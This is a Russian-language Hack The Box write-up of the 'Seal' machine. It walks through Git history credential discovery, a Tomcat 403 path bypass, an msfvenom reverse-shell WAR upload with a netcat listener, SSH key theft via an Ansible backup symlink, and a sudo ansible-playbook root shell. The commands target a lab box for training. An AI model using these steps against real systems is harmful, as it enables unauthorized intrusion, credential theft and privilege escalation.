Хакер - HTB Seal. Пентестим Apache Tomcat и эксплуатируем Ansible Playbook

https://t.me/hacker_frei

RalfHacker

Содержание статьи

• Разведка
• Сканирование портов
• Git
• Точка входа
• Точка опоры
• Обход 403 Forbidden
• Tomcat Admin to RCE
• Продвижение
• Локальное повышение привилегий

На этот раз мы с тобой прой­дем сред­нюю по слож­ности машину с пло­щад­ки Hack The Box. Ты научишь­ся извле­кать цен­ную информа­цию из репози­тори­ев Git, обхо­дить кон­троль дос­тупа HTTP 403, экс­плу­ати­ровать Apache Tomcat до уров­ня выпол­нения про­изволь­ного кода и повышать при­виле­гии через Ansible Playbook.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.10.250 seal.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ви­дим три откры­тых пор­та: 22 (служ­ба SSH), 443 (веб‑сер­вер nginx 1.18.0) и 8080 (отме­чен как HTTP-прок­си).

Справка: брутфорс учеток

Пос­коль­ку в начале про­хож­дения у нас нет учет­ных дан­ных, нет и смыс­ла изу­чать служ­бы, которые всег­да тре­буют авто­риза­ции (нап­ример, SSH). Единс­твен­ное, что мы можем делать здесь, — это переби­рать пароли брут­форсом, но у машин с HTB поч­ти всег­да есть дру­гое про­хож­дение. В жиз­ни таких вари­антов может не быть, к тому же есть шан­сы подоб­рать пароль или получить его при помощи соци­аль­ной инже­нерии.

Так как порт 443 работа­ет по про­токо­лу HTTPS, он содер­жит сер­тификат, а из него мы можем узнать, для какого адре­са он дей­стви­телен. Бла­го его мы уже добави­ли в файл /etc/hosts.

Пос­мотрим на сами сай­ты. На пер­вом нас встре­чает какой‑то однос­тра­нич­ный мар­кет с полями для вво­да. На вто­ром находим GitBucket. Одно­го взгля­да дос­таточ­но, что­бы опре­делить, с каким из сай­тов сто­ит начинать работать.

Git

GitBucket — это сис­тема для сов­мес­тной работы с Git-репози­тори­ями, которая пре­дос­тавля­ет интерфейс в сти­ле GitHub. Здесь мож­но зарегис­три­ровать­ся, что мы незамед­литель­но сде­лаем.

Пос­ле это­го нам ста­новит­ся дос­тупно некото­рое количес­тво про­ектов. Мы можем поис­кать в исходных кодах кри­тичес­кие дан­ные вро­де сек­ретов, паролей и про­чих инте­рес­ностей. Так­же мы можем получить име­на поль­зовате­лей Git.

За­пом­ним поль­зовате­лей и пой­дем по поряд­ку прос­матри­вать репози­тории. Так, в репози­тории мар­кета мы най­дем спи­сок дел, где сре­ди про­чего зап­ланиро­вана сме­на кон­фигура­ции Apache Tomcat.

Это важ­но, так как мы узна­ем о еще одной тех­нологии, которая исполь­зует­ся на сай­те. Давай прос­мотрим исто­рию ком­митов. Прод­вига­ясь сни­зу вверх, оста­новим­ся на сле­дующем ком­мите:

http://seal.htb:8080/root/seal_market/commit/ac210325afd2f6ae17cce84a8aa42805ce5fd010

В нем мы най­дем файл кон­фигура­ции Tomcat и необ­ходимый для авто­риза­ции пароль.

Про­буем авто­ризо­вать­ся с этим паролем в сис­теме GitBucket от име­ни всех обна­ружен­ных поль­зовате­лей и выяс­няем, что можем зай­ти как luis. К сожале­нию, ничего нового нам это не откры­вает, а к SSH пароль Льюиса не подошел. Поэто­му перей­дем к сай­ту мар­кета.

ТОЧКА ВХОДА

На сай­те у нас воз­можнос­тей нем­ного, поэто­му поищем скры­тые стра­ницы перебо­ром. Я буду исполь­зовать ути­литу fuff и сло­варь из набора Seclists.

Справка: сканирование веба c fuff

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке исполь­зуем сле­дующие парамет­ры:

• -w — сло­варь (исполь­зуем directory-list-2.3-medium);
• -t — количес­тво потоков;
• -u — URL;
• -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

Ко­ман­да получа­ется сле­дующая:

ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ -fc 403 -t 200

Все най­ден­ные стра­ницы выпол­няют редирект в соот­ветс­тву­ющий каталог. Но нам инте­рес­ны толь­ко две: admin и manager.

При обра­щении к катало­гу /admin/ нам вер­нут ошиб­ку 404, отку­да мы узна­ем, что на сер­вере работа­ет Apache Tomcat 9.0.31. При этом стра­ница /manager выпол­нит редирект в каталог /manager/, отку­да нас сно­ва перенап­равля­ет на /manager/html. Пос­ледняя же вер­нет код 403 — это озна­чает, что у нас недос­таточ­но прав для дос­тупа к стра­нице. Что­бы рас­ширить свою область зна­ний о сай­те, пов­торим ска­ниро­вание дирек­торий, но уже в катало­ге /manager/.

ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/manager/FUZZ -fc 403 -t 200

От­кры­ваем для себя две новые стра­ницы: text и status. Ответ 401 озна­чает, что тре­бует­ся HTTP-авто­риза­ция. У нас уже есть имя поль­зовате­ля и пароль из кон­фига Apache Tomcat, поэто­му без проб­лем про­ходим авто­риза­цию. Нас встре­тит панель Server Status Apache Tomcat.

Этот матери­ал ничего нам не дает, поэто­му сто­ит поп­робовать про­бить­ся к зак­рытым для нас фун­кци­ям.

ТОЧКА ОПОРЫ

Обход 403 Forbidden

Есть мно­го рекомен­даций, как обой­ти ответ 403 (дос­туп зап­рещен), сре­ди которых исполь­зование ред­ких методов зап­роса (вмес­то обыч­ных GET и POST), раз­ных заголов­ков HTTP и спе­циаль­ных путей к целевой стра­нице. На все эти слу­чаи у меня есть свои сло­вари, соб­ранные из интерне­та и объ­еди­нен­ные в один. Поэто­му я буду исполь­зовать Burp Intruder для перебо­ра раз­ных вари­антов.

В резуль­тате я получил отве­ты, дли­на которых зна­читель­но боль­ше осталь­ных. На вклад­ке Response в Burp вклю­чаем опцию Render, что­бы смот­реть стра­ницы, как в бра­узе­ре.

Так мы получа­ем дос­туп к фун­кции /manager/html при обра­щении к /manager/;%2f../;//html.

Tomcat Admin to RCE

Имея адми­нис­тра­тив­ный дос­туп к Tomcat, мы можем заг­рузить на сер­вер и затем выпол­нить файл WAR (набор ресур­сов и исполня­емых фай­лов Java). Конеч­но же, в нашем слу­чае это будет обратный шелл. Его мы можем соб­рать с помощью Msfvenom.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.58 LPORT=443 -f war -o revshell.war

Этот код дол­жен выз­вать кон­нект на ука­зан­ный адрес (то есть наш локаль­ный IP). Пишем: rlwrap nc -lvp 443.

Справка: реверс-шелл

Об­ратный шелл — это под­клю­чение, которое акти­виру­ет ата­куемая машина, а мы при­нима­ем и таким обра­зом под­клю­чаем­ся к ней, что­бы выпол­нять коман­ды от лица поль­зовате­ля, который запус­тил шелл. Для при­ема соеди­нения необ­ходимо соз­дать на локаль­ной машине listener, то есть «слу­шатель».

В таких слу­чаях при­годит­ся rlwrap — readline-обо­лоч­ка, которая в чис­ле про­чего поз­воля­ет поль­зовать­ся исто­рией команд. Она обыч­но дос­тупна в репози­тории дис­три­бути­ва.

В качес­тве самого лис­тенера при этом мож­но исполь­зовать широко извес­тный netcat.

rlwrap nc -lvp [port]

Но файл прос­то так не заг­рузить, так как мы получа­ем дос­туп к стра­нице толь­ко через спе­циаль­ный путь. Поэто­му ука­зыва­ем файл для заг­рузки и акти­виру­ем Burp Proxy для отло­ва зап­роса.

Пос­ле появ­ления зап­роса в Burp Proxy изме­ним уже зна­комый нам путь /manager/html на /manager/;%2f../;//html.

Пос­ле обновле­ния стра­ницы уви­дим в спис­ке фай­лов свой реверс‑шелл. Обра­щаем­ся к нему и получа­ем бэк­коннект.

ПРОДВИЖЕНИЕ

Ес­ли ты сле­дишь за цик­лом моих ста­тей, то уже зна­ешь, что для поис­ка пути прод­вижения я буду исполь­зовать LinPEAS.

Справка: скрипты PEASS для Linux

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

Что­бы вос­поль­зовать­ся скрип­том, его нуж­но сна­чала заг­рузить на локаль­ный хост.

wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh

Те­перь надо заг­рузить его на уда­лен­ный хост. В дирек­тории со скрип­том на локаль­ной машине запус­тим с помощью Python прос­той веб‑сер­вер. Пос­ле выпол­нения этой коман­ды веб‑сер­вер будет прос­лушивать порт 8000.

python3 -m http.server

А теперь с помощью того же wget на целевой машине заг­рузим скрипт с локаль­ного хос­та на уда­лен­ный. Пос­ле заг­рузки необ­ходимо дать фай­лу пра­во на выпол­нение и выпол­нить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

Ин­форма­ции получа­ем мно­го, но ухва­тить­ся, казалось бы, не за что. Единс­твен­ный момент — в дереве про­цес­сов видим запущен­ный скрипт из пла­ниров­щика задач cron. Это может быть инте­рес­но!

Playbook во фрей­мвор­ке Ansible опре­деля­ет серию некото­рых дей­ствий для выпол­нения. Час­то плей­буки исполь­зуют для началь­ной нас­трой­ки сер­веров — добав­ления поль­зовате­лей и катало­гов, управле­ния пакета­ми ПО и фай­лами. У нас в ansible-playbook переда­ется файл кон­фигура­ции /opt/backups/playbook/run.yml.

В фай­ле три задачи: Copy Files, Server Backups и Clean. То есть сна­чала фай­лы из дирек­тории /var/lib/tomcat9/webapps/ROOT/admin/dashboard копиру­ются в каталог /opt/backups/files, затем фай­лы в этой дирек­тории архи­виру­ются и уда­ляют­ся.

Так как выпол­няет­ся копиро­вание и фай­лов по ссыл­кам (опция copy_links) в кон­тек­сте поль­зовате­ля luis, то мы можем сде­лать ссыл­ку на его лич­ные фай­лы, что поз­волит их ско­пиро­вать, ког­да cron запус­тит задачу. Конеч­но же, копиро­вать будем при­ват­ный ключ SSH. Сде­лаем ссыл­ку на ключ и помес­тим ее в целевую дирек­торию. Спус­тя вре­мя обна­ружим появив­ший­ся архив.

ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads

От­кры­ваем архив и дос­таем ключ.

cp /opt/backups/archives/backup-2021-07-15-15:10:32.gz /tmp/b.gz

gzip -kd /tmp/b.gz

tar -xf /tmp/b

cat /tmp/dashboard/uploads/.ssh/id_rsa

chmod 0600 id_rsa

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Пов­торный запуск LinPEAS не показы­вает дра­матич­ных раз­личий, но зацеп­ка все же есть — нас­трой­ки sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Лю­бой поль­зователь (ALL) может выпол­нить коман­ду /usr/bin/ansible-playbook * в при­виле­гиро­ван­ном кон­тек­сте без вво­да пароля (NOPASSWD). Откры­ваем сайт GTFOBins и находим тех­нику локаль­ного повыше­ния при­виле­гий для это­го при­ложе­ния.

Эта коман­да соз­дает файл кон­фигура­ции playbook во вре­мен­ной дирек­тории. Файл содер­жит одну выпол­няемую задачу — запуск обо­лоч­ки /bin/sh. В кон­це ansible-playbook запус­кает­ся в при­виле­гиро­ван­ном кон­тек­сте, что нам даст при­виле­гиро­ван­ную обо­лоч­ку.

TF=$(mktemp)

echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF

sudo ansible-playbook $TF

Ма­шина зах­вачена, мы име­ем над ней пол­ный кон­троль!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei